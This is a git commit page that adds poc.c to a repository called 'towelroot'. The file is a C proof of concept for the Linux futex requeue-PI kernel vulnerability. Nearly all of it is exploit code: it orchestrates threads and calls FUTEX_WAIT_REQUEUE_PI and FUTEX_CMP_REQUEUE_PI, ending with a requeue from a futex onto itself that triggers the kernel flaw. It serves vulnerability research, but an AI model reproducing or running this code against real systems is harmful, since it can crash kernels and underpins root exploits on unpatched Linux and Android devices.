aboutsummaryrefslogtreecommitdiffstats
diff options
context:
space:
mode:
authorZi Zhou <zzhou007@ucr.edu>2016-11-07 09:18:05 -0800
committerGitHub <noreply@github.com>2016-11-07 09:18:05 -0800
commit16af6295e03de780e92f47d0d82ddd3fb25e3a82 (patch)
treeea8ec768f4a43c97c34df80c9aaa6a5aae278073
parent1eaf4d1bf329bbbb94f0ebc765e0a36b53ae618a (diff)
downloadtowelroot-16af6295e03de780e92f47d0d82ddd3fb25e3a82.tar.gz
towelroot-16af6295e03de780e92f47d0d82ddd3fb25e3a82.tar.bz2
towelroot-16af6295e03de780e92f47d0d82ddd3fb25e3a82.zip
Create poc.c
-rw-r--r--poc.c113
1 files changed, 113 insertions, 0 deletions
diff --git a/poc.c b/poc.c
new file mode 100644
index 0000000..d680089
--- /dev/null
+++ b/poc.c
@@ -0,0 +1,113 @@
+#include <stdio.h>
+#include <unistd.h>
+#include <pthread.h>
+#include <stdlib.h>
+#include <linux/futex.h>
+#include <sys/syscall.h>
+
+#define USERLOCK_FREE 0
+#define USERLOCK_OCCUPIED 1
+#define FUTEX_WAIT_REQUEUE_PI 11
+#define FUTEX_CMP_REQUEUE_PI 12
+inline void userlock_wait(volatile const int *userlock)
+{
+while (USERLOCK_OCCUPIED == *userlock) {
+usleep(10);
+}
+
+}
+inline void userlock_lock(volatile int *userlock)
+{
+*userlock = USERLOCK_OCCUPIED;
+
+}
+inline void userlock_release(volatile int *userlock)
+{
+*userlock = USERLOCK_FREE;
+
+}
+int get_voluntary_ctxt_switches(pid_t tid)
+{
+FILE *fp;
+char proc_path[256];
+char buf[0x1000];
+char *ptr = buf;
+int count = -1;
+snprintf(proc_path, sizeof(proc_path), "/proc/self/task/%d/status", tid);
+fp = fopen(proc_path, "rb");
+if (fp != NULL) {
+fread(buf, sizeof(unsigned char), sizeof(buf), fp);
+ptr = strstr(buf, "voluntary_ctxt_switches:");
+ptr += strlen("voluntary_ctxt_switches:");
+count = atoi(ptr);
+fclose(fp);
+}
+return count;
+
+}
+void wait_for_thread_to_wait_in_kernel(pthread_t tid, int context_switch_count)
+{
+while (get_voluntary_ctxt_switches(tid) <= context_switch_count) {
+usleep(10);
+}
+
+}
+inline int futex_lock_pi(int *uaddr)
+{
+return syscall(__NR_futex, uaddr, FUTEX_LOCK_PI, 0, NULL, NULL, 0);
+
+}
+inline int futex_wait_requeue_pi(int *uaddr1, int *uaddr2)
+{
+return syscall(__NR_futex, uaddr1, FUTEX_WAIT_REQUEUE_PI, 0, NULL, uaddr2, 0);
+
+}
+inline int futex_requeue_pi(int *uaddr1, int *uaddr2, int cmpval)
+{
+return syscall(__NR_futex, uaddr1, FUTEX_CMP_REQUEUE_PI, 1, NULL, uaddr2, cmpval);
+
+}
+
+int A = 0, B = 0;
+volatile int invoke_futex_wait_requeue_pi = 0;
+volatile pid_t thread_tid = -1;
+
+void *thread(void *arg)
+{
+thread_tid = gettid();
+printf("[2]\n");
+userlock_wait(&invoke_futex_wait_requeue_pi);
+futex_wait_requeue_pi(&A, &B);
+printf("Someone woke me up\n");
+while (1) {
+sleep(1);
+}
+
+}
+int main(int argc, char *argv[])
+{
+pthread_t t;
+int context_switch_count = 0;
+printf("[1]\n");
+futex_lock_pi(&B);
+userlock_lock(&invoke_futex_wait_requeue_pi);
+pthread_create(&t, NULL, thread, NULL);
+/* Wait for the thread to be in a system call */
+while (thread_tid < 0) {
+usleep(10);
+}
+context_switch_count = get_voluntary_ctxt_switches(thread_tid);
+userlock_release(&invoke_futex_wait_requeue_pi);
+wait_for_thread_to_wait_in_kernel(thread_tid, context_switch_count);
+printf("[3]\n");
+futex_requeue_pi(&A, &B, A);
+printf("[4]\n");
+B = 0;
+printf("[5]\n");
+futex_requeue_pi(&B, &B, B);
+while (1) {
+sleep(1);
+}
+return 0;
+
+}